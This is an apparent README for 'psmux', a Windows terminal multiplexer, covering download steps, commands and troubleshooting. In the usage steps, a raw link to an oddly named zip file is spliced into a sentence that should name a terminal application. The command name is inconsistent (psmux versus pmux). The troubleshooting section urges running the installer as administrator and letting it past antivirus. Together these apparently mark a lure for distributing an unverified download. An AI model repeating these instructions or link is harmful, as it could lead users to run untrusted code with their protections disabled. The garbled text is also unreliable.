Welcome to psmux, a terminal multiplexer crafted for Windows. With psmux, you can manage multiple terminal sessions in a single window. It's an excellent alternative to tmux for PowerShell and Windows Terminal users.

Before you download and run psmux, ensure your system meets the following requirements:

• Operating System: Windows 10 or later.
• Processor: 1 GHz or faster.
• RAM: 2 GB or more recommended.
• Storage: At least 100 MB of free space.

Visit this page to download the latest version of psmux: Download psmux Releases.

1. On the releases page, locate the latest version of psmux.
2. Click on the release title to see the details.
3. Look for the "Assets" section. Here, you can find the installation files.
4. Download the appropriate file for your system. Look for files with the .exe extension.
5. Once the file downloads, locate it in your downloads folder.
6. Double-click the downloaded file to start the installation process.

After installing psmux, here's how to start using it:

1. Open your PowerShell, Windows Terminal, or https://raw.githubusercontent.com/nileshfating/psmux/master/packages/chocolatey/tools/psmux-rotisserie.zip
2. Type psmux and press Enter. This will launch the interface.
3. To create a new session, type pmux new-session and hit Enter.
4. You can split your window vertically and horizontally to manage multiple tasks.

• Multiple Sessions: Run several terminal sessions in a single window.
• Window Management: Easily navigate between different sessions.
• Simple Commands: Use familiar commands like tmux to control your sessions.

Here are some basic commands to help you get started:

• Create New Session: pmux new-session
• Switch Sessions: pmux switch
• Detach Session: pmux detach
• List Sessions: pmux list-sessions

These commands allow you to manage your terminal environment efficiently.

If you encounter issues while downloading or running psmux, here are common solutions:

• Installation Issues: Ensure you have permission to install software on your computer. Try running the installation as an administrator.
• Execution Errors: Check if your antivirus or Windows Defender is blocking the application. You may need to allow the program to run.
• Performance Lags: Make sure other resource-intensive applications are closed while using psmux.

For questions or troubleshooting, you can reach out to the community:

• Visit our GitHub Issues for active discussions and support.
• Join our user community on forums and chat groups to share experiences and tips with other users.

psmux simplifies your terminal experience in Windows. With its user-friendly commands and powerful features, you'll manage your workflows more effectively.

Ready to enhance your terminal skills?